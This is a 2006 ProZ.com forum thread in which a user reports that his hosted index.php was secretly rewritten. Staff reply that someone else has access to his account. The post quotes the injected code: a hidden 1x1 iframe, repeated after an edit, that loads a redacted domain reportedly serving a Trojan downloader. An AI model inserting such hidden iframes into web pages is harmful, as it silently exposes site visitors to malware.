Forums about proz.com » ProZ.com hosting »
Security Issue
Thread poster: Igor Kreknin
Igor Kreknin
Igor Kreknin  Identity Verified
Local time: 19:43
English to Russian
+ ...
Dec 22, 2006

Because of a very strange security problem (for the last month), I have tested the ProZ.com hosting.

Yesteray, 12/21/2006, I placed one file in the root directory -- index.php. Its attributes were 444 (!)

This file was absolutely empty. There were no other files at all. So, we cannot talk about any problems in any software I use on the server. MySQL was empty too.

Today I see the index.php file has been changed. Its attributes are 644 and it has the followi... See more
Because of a very strange security problem (for the last month), I have tested the ProZ.com hosting.

Yesteray, 12/21/2006, I placed one file in the root directory -- index.php. Its attributes were 444 (!)

This file was absolutely empty. There were no other files at all. So, we cannot talk about any problems in any software I use on the server. MySQL was empty too.

Today I see the index.php file has been changed. Its attributes are 644 and it has the following code:

<iframe width=1 height=1 border=0 frameborder=0 src="http://*****.*****.info/mrx/"></iframe>

I deleted the above domain name because that server is trying to transfer "Trojan-Downloader.HTML.Agent.c" (according to Kaspersky Internet Security 6.0)

What's the matter?

Thanks.


EDITED:

Now I see this code is:

<iframe width=1 height=1 border=0 frameborder=0 src="http://*****.*****.info/mrx/"></iframe>
<iframe width=1 height=1 border=0 frameborder=0 src="http://*****.*****.info/mrx/"></iframe>
<iframe width=1 height=1 border=0 frameborder=0 src="http://*****.*****.info/mrx/"></iframe>


[Редактировалось 2006-12-22 08:16] ▲ Collapse
 
justin C
justin C
United States
Local time: 12:43
English
It appears that someone else has access to your account Dec 22, 2006

Hi Igor,

I just checked our logs, and it appears that someone else has access to your hosting account. I am writing you directly.

If anyone else experiences a problem like this, please email me as soon as possible -- justin at proz.com

Best regards,
Justin
 


To report site rules violations or get help, contact a site moderator:

Moderator(s) of this forum
Jared Tabor[Call to this topic]
Lucia Leszinsky[Call to this topic]

You can also contact site staff by submitting a support request »

Security Issue






TM-Town
Manage your TMs and Terms ... and boost your translation business

Are you ready for something fresh in the industry? TM-Town is a unique new site for you -- the freelance translator -- to store, manage and share translation memories (TMs) and glossaries...and potentially meet new clients on the basis of your prior work.

More info »
CafeTran Espresso
You've never met a CAT tool this clever!

Translate faster & easier, using a sophisticated CAT tool built by a translator / developer. Accept jobs from clients who use Trados, MemoQ, Wordfast & major CAT tools. Download and start using CafeTran Espresso -- for free

Buy now! »